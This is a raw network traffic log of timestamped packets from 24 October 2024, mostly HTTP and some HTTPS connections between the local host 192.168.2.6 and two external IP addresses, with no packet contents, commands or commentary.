Oct 24, 2024 09:08:21.516865969 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.516900063 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.517309904 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.517360926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.517370939 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.517410040 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.517412901 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.517445087 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.517477989 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.517512083 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.556865931 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.556898117 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.556927919 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.556931973 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.556962013 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.556967974 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.556989908 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.557009935 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.557020903 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.557058096 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.557065010 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.557097912 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.557395935 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.557430029 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.557451010 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.557463884 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.557468891 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.557552099 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.559083939 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.559350967 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.559413910 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.559433937 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.559468985 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.559524059 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.559551954 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.559773922 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.559835911 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.559885025 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.559928894 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.559966087 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.559983015 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.599813938 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.599832058 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.599886894 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.600312948 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.631654978 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.631674051 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.631700993 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.631714106 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.631722927 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.631753922 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.631773949 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.631890059 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.631917953 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.631931067 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.631939888 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.631975889 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.631975889 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.632260084 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.632312059 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.632492065 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.632504940 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.632529020 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.632539988 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.632541895 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.632559061 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.632565975 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.632565975 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.632585049 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.632602930 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672382116 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672456980 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672481060 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672493935 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672512054 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672529936 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672550917 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672569990 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672574043 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672600031 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672617912 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672640085 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672710896 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672744989 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672758102 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672780037 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.672787905 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.672825098 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747344017 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747399092 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747401953 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747441053 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747443914 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747474909 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747479916 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747509956 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747514009 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747550011 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747615099 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747648001 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747653961 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747683048 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747684956 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747715950 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.747720003 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.747754097 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.748214006 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.748246908 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.748262882 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.748281002 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.748286963 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.748328924 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.748476028 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.748508930 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.748526096 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.748542070 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.748548031 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.748586893 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.771516085 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.771565914 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.771631956 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.771960020 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.771976948 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.787501097 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.787583113 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.787620068 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.787677050 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.787678957 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.787712097 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.787729979 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.787761927 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.787764072 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.787796021 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.787816048 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.787836075 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.827810049 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.827847958 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.827883005 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.827977896 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.862638950 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.862680912 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.862715960 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.862723112 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.862762928 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.862762928 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.862924099 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.862978935 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.862978935 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863013029 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863020897 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863045931 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863049984 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863080025 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863089085 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863112926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863121033 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863158941 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863342047 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863394022 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863435030 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863436937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863451004 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863475084 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863507986 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.863512039 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863533974 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.863555908 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.902900934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.902916908 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.902930975 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.903017044 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.903050900 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.903062105 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.903063059 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.903089046 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.903090000 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.903104067 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.903110027 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.903187990 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.943144083 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.943173885 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.943207026 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.943238974 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.943272114 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.943331003 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978132010 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978202105 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978203058 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978240013 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978247881 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978272915 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978277922 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978307962 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978312016 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978343964 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978351116 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978384972 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978490114 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978523970 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978539944 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978558064 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978562117 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978595972 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978878975 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978913069 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978946924 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.978967905 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.978981972 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.979001999 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.979002953 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.979021072 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.979470968 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.979528904 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.979530096 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.979562998 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.979578018 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.979595900 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.979604959 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.979640007 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.018296003 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.018421888 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.018594027 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.018624067 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.018657923 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.018691063 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.018829107 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.058671951 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.058753014 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.058787107 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.058824062 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.058866024 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093225002 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093295097 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093341112 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093395948 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093405008 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093440056 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093461990 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093473911 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093487978 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093524933 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093606949 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093636990 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093667030 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093688965 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093691111 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093723059 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093740940 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093759060 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.093774080 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.093826056 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.094058990 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094094038 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094126940 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094161987 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094168901 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.094212055 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.094506979 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094566107 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.094566107 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094600916 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094619989 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.094635010 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.094643116 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.094680071 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.133955956 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.134049892 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.134085894 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.134120941 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.134135962 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.134172916 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.134181976 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.134212971 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.134218931 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.134247065 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.134268999 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.134300947 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.174187899 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.174268007 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.174302101 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.174361944 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.174361944 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.208740950 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.208775043 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.208808899 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.208842993 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.208867073 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.208867073 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.208867073 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.208877087 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.208904028 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.208911896 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.208920956 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.208957911 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209178925 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209206104 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209232092 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209242105 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209254980 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209289074 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209300995 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209321022 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209332943 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209357023 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209369898 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209402084 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209441900 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209474087 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209487915 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209507942 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.209511995 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.209548950 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.210140944 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.210211992 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.210285902 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.210331917 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.248975992 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249021053 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249026060 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.249044895 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249058008 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.249061108 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249075890 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249084949 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.249090910 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249097109 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.249115944 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.249131918 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.249381065 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249411106 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249416113 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.249428988 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.249459028 CEST	50001	80	192.168.2.6	185.215.113.16
